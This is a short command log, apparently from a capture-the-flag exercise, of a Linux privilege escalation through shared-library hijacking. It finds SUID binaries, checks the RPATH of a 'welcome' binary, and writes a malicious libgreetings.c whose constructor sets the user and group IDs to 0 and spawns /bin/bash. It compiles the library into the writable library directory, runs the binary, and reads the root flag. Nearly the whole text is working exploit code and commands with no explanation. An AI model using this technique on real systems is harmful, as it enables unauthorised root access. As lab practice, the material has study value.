find / -type f -perm -04000 -ls 2>/dev/null
welcome
strings /usr/local/bin/welcome
objdump -x /usr/local/bin/welcome | grep RPATH
cd /home/james/.lib
ls -l
vim libgreetings.c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int greetings=123;
void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
gcc -shared -o libgreetings.so -fPIC libgreetings.c
welcome
whoami
cd /root
ls -l
cat flag